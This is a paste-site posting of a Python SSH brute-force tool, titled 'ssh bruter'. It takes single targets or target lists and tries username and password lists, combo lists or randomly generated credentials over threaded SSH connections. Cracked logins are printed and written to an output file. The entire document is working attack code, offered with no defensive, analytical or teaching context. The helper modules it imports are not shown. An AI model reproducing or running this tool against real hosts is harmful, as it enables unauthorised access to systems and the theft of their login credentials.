ssh bruter


SUBMITTED BY: ionel91

DATE: May 30, 2019, 3:57 p.m.

FORMAT: Text only

SIZE: 12.8 kB

HITS: 3563

  1. '''
  2. Created on Aug 25, 2011
  3. @author: r4stl1n
  4. '''
  5. import random
  6. import sys
  7. from optparse import OptionParser
  8. import Util
  9. from Connection import Connection
  10. class SSHBruteForce():
  11. def __init__(self):
  12. self.info = "Simple SSH Brute Forcer"
  13. self.targetIp = ""
  14. self.targetPort = 0
  15. self.targets = []
  16. self.usernames = []
  17. self.passwords = []
  18. self.connections = []
  19. self.amountOfThreads = 0
  20. self.currentThreadCount = 0
  21. self.timeoutTime = 0
  22. self.outputFileName = None
  23. self.singleMode = False
  24. self.verbose = False
  25. self.bruteForceLength = 0
  26. self.bruteForceAttempts = 0
  27. self.bruteForceMode = False
  28. self.characters = "abcdefghijklmnopqrstuvwxyz_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
  29. def startUp(self):
  30. usage = '{} [-i targetIp] [-U usernamesFile] [-P passwordsFile]'.format(sys.argv[0])
  31. optionParser = OptionParser(version=self.info, usage=usage)
  32. optionParser.add_option('-i', dest='targetIp',
  33. help='Ip to attack')
  34. optionParser.add_option('-p', dest='targetPort',
  35. help='Ip port to attack', default=22)
  36. optionParser.add_option('-d', dest='typeOfAttack',
  37. help='Dictionary Attack', default=False)
  38. optionParser.add_option('-a', dest='attemptAmount',
  39. help="Number of attempts before stopping", default=2)
  40. optionParser.add_option('-l', dest='lengthLimit',
  41. help='Length of bruteforce strings', default=8)
  42. optionParser.add_option('-I', dest='targetsFile',
  43. help='List of IP\'s and ports')
  44. optionParser.add_option('-C', dest='combolistFile',
  45. help='Combo List file')
  46. optionParser.add_option('-U', dest='usernamesFile',
  47. help='Username List file')
  48. optionParser.add_option('-P', dest='passwordsFile',
  49. help='Password List file')
  50. optionParser.add_option('-t', type='int', dest='threads',
  51. help='Amount of Threads', default=10)
  52. optionParser.add_option('-T', type='int', dest='timeout',
  53. help='Timeout Time', default=15)
  54. optionParser.add_option('-O', dest="outputFile",
  55. help='Output File Name', default=None)
  56. optionParser.add_option('-v', '--verbose', action='store_true',
  57. dest='verbose', help='verbose')
  58. (options, args) = optionParser.parse_args()
  59. # First a check is used to see if there is at least a singleIp set or a targetList set
  60. if not options.targetIp and not options.targetsFile:
  61. optionParser.print_help()
  62. sys.exit(1)
  63. else:
  64. # Check to see if we are running a dictionary attack or a bruteforce
  65. if bool(options.typeOfAttack) == True:
  66. # Then another check to make sure the Username list and passwordlist are filled
  67. if (options.usernamesFile and options.passwordsFile) or options.combolistFile:
  68. # Then we check if it is a single ip only
  69. if options.targetIp and not options.targetsFile:
  70. self.singleMode = True
  71. self.singleTarget(options)
  72. elif not options.targetIp and options.targetsFile:
  73. self.multipleTargets(options)
  74. else:
  75. optionParser.print_help()
  76. sys.exit(1)
  77. else:
  78. optionParser.print_help()
  79. sys.exit(1)
  80. else:
  81. # setup the brtue force
  82. self.bruteForceMode = True
  83. # Then we check if it is a single ip only
  84. if options.targetIp and not options.targetsFile:
  85. self.singleMode = True
  86. self.singleTarget(options)
  87. elif not options.targetIp and options.targetsFile:
  88. self.multipleTargets(options)
  89. else:
  90. optionParser.print_help()
  91. sys.exit(1)
  92. def singleTarget(self, options):
  93. self.targetIp = options.targetIp
  94. self.targetPort = options.targetPort
  95. self.amountOfThreads = options.threads
  96. self.timeoutTime = options.timeout
  97. self.outputFileName = options.outputFile
  98. self.verbose = options.verbose
  99. self.bruteForceLength = options.lengthLimit
  100. self.bruteForceAttempts = options.attemptAmount
  101. if bool(options.typeOfAttack):
  102. if options.combolistFile:
  103. self.usernames, self.passwords = self.__seperateDataFromComboList(options.combolistFile)
  104. else:
  105. self.usernames = Util.fileContentsToList(options.usernamesFile)
  106. self.passwords = Util.fileContentsToList(options.passwordsFile)
  107. self.showStartInfo()
  108. self.dictionaryAttackSingle()
  109. else:
  110. self.showStartInfo()
  111. self.bruteForceSingle()
  112. def multipleTargets(self, options):
  113. self.targets = Util.fileContentsToTuple(options.targetsFile)
  114. self.amountOfThreads = options.threads
  115. self.timeoutTime = options.timeout
  116. self.outputFileName = options.outputFile
  117. self.verbose = options.verbose
  118. self.bruteForceLength = options.lengthLimit
  119. self.bruteForceAttempts = options.attemptAmount
  120. if bool(options.typeOfAttack):
  121. if options.combolistFile:
  122. self.usernames, self.passwords = self.__seperateDataFromComboList(options.combolistFile)
  123. else:
  124. self.usernames = Util.fileContentsToList(options.usernamesFile)
  125. self.passwords = Util.fileContentsToList(options.passwordsFile)
  126. self.showStartInfo()
  127. self.dictionaryAttackMultiple()
  128. else:
  129. self.showStartInfo()
  130. self.bruteForceMultiple()
  131. @staticmethod
  132. def __seperateDataFromComboList(comboListFile):
  133. usernames = []
  134. passwords = []
  135. for t in Util.fileContentsToTuple(comboListFile):
  136. usernames.append(t[0])
  137. passwords.append(t[1])
  138. return usernames, passwords
  139. def showStartInfo(self):
  140. print("[*] {} ".format(self.info))
  141. if self.singleMode:
  142. print("[*] Brute Forcing {}".format(self.targetIp))
  143. else:
  144. print("[*] Loaded {} Targets ".format(str(len(self.targets))))
  145. if self.bruteForceMode == False:
  146. print("[*] Loaded {} Usernames ".format(str(len(self.usernames))))
  147. print("[*] Loaded {} Passwords ".format(str(len(self.passwords))))
  148. print("[*] Brute Force Starting ")
  149. if self.outputFileName is not None:
  150. Util.appendLineToFile("{}".format(self.info), self.outputFileName)
  151. if self.singleMode:
  152. Util.appendLineToFile("Brute Forcing {} ".format(self.targetIp, self.outputFileName))
  153. else:
  154. Util.appendLineToFile("Loaded {} Targets ".format(len(self.targets)), self.outputFileName)
  155. Util.appendLineToFile("Loaded {} Usernames ".format(len(self.usernames)), self.outputFileName)
  156. Util.appendLineToFile("Loaded {} Passwords ".format(len(self.passwords)), self.outputFileName)
  157. Util.appendLineToFile("Brute Force Starting ", self.outputFileName)
  158. def dictionaryAttackSingle(self):
  159. for username in self.usernames:
  160. for password in self.passwords:
  161. self.createConnection(username, password, self.targetIp,
  162. self.targetPort, self.timeoutTime)
  163. if self.currentThreadCount == self.amountOfThreads:
  164. self.currentThreadResults()
  165. self.currentThreadResults()
  166. def dictionaryAttackMultiple(self):
  167. for target in self.targets:
  168. for username in self.usernames:
  169. for password in self.passwords:
  170. self.createConnection(username, password, target[0],
  171. int(target[1]), self.timeoutTime)
  172. if self.currentThreadCount == self.amountOfThreads:
  173. self.currentThreadResults()
  174. self.currentThreadResults()
  175. def bruteForceSingle(self):
  176. for x in range(int(self.bruteForceAttempts)):
  177. randomUserString = ""
  178. randomPasswordString = ""
  179. randomStringLength = random.randint(4, int(self.bruteForceLength))
  180. for y in range(randomStringLength):
  181. randomUserString = randomUserString + random.choice(self.characters)
  182. randomStringLength = random.randint(4, int(self.bruteForceLength))
  183. for z in range(randomStringLength):
  184. randomPasswordString = randomPasswordString + random.choice(self.characters)
  185. self.createConnection(randomUserString, randomPasswordString, self.targetIp,
  186. self.targetPort, self.timeoutTime)
  187. if self.currentThreadCount == self.amountOfThreads:
  188. self.currentThreadResults()
  189. self.currentThreadResults()
  190. def bruteForceMultiple(self):
  191. for target in self.targets:
  192. for x in range(self.bruteForceAttempts):
  193. randomUserString = ""
  194. randomPasswordString = ""
  195. randomStringLength = random.randint(4, self.bruteForceLength)
  196. for y in range(randomStringLength):
  197. randomUserString = randomUserString + random.choice(self.characters)
  198. randomStringLength = random.randint(4, self.bruteForceLength)
  199. for z in range(randomStringLength):
  200. randomPasswordString = randomPasswordString + random.choice(self.characters)
  201. self.createConnection(randomUserString, randomPasswordString, target,
  202. self.targetPort, self.timeoutTime)
  203. if self.currentThreadCount == self.amountOfThreads:
  204. self.currentThreadResults()
  205. self.currentThreadResults()
  206. def createConnection(self, username, password, targetIp, targetPort, timeoutTime):
  207. connection = Connection(username, password, targetIp, targetPort, timeoutTime)
  208. connection.start()
  209. self.connections.append(connection)
  210. self.currentThreadCount += 1
  211. if self.verbose:
  212. print("[*] Adding Target: {0}, Testing with username: {1}, testing with password: {2}".format(targetIp,
  213. username,
  214. password))
  215. def currentThreadResults(self):
  216. for connection in self.connections:
  217. connection.join()
  218. if connection.status == 'Succeeded':
  219. print("[#] TargetIp: {} ".format(connection.targetIp))
  220. print("[#] Username: {} ".format(connection.username))
  221. print("[#] Password: {} ".format(connection.password))
  222. if self.outputFileName is not None:
  223. #Util.appendLineToFile("TargetIp: {}" .format(connection.targetIp, self.outputFileName))
  224. #Util.appendLineToFile("Username: {} ".format(connection.username, self.outputFileName))
  225. #Util.appendLineToFile("Password: {} ".format(connection.password, self.outputFileName))
  226. Util.appendLineToFile("TargetIp: {} ".format(connection.targetIp), self.outputFileName)
  227. Util.appendLineToFile("Username: {} ".format(connection.username), self.outputFileName)
  228. Util.appendLineToFile("Password: {} ".format(connection.password), self.outputFileName)
  229. if self.singleMode:
  230. self.completed()
  231. else:
  232. pass
  233. self.clearOldThreads()
  234. def clearOldThreads(self):
  235. self.connections = []
  236. self.threadCount = 0
  237. def completed(self):
  238. print("[*] Completed Brute Force.")
  239. sys.exit(0)
  240. if __name__ == '__main__':
  241. sshBruteForce = SSHBruteForce()
  242. sshBruteForce.startUp()
  243. print("[*] Brute Force Completed")

comments powered by Disqus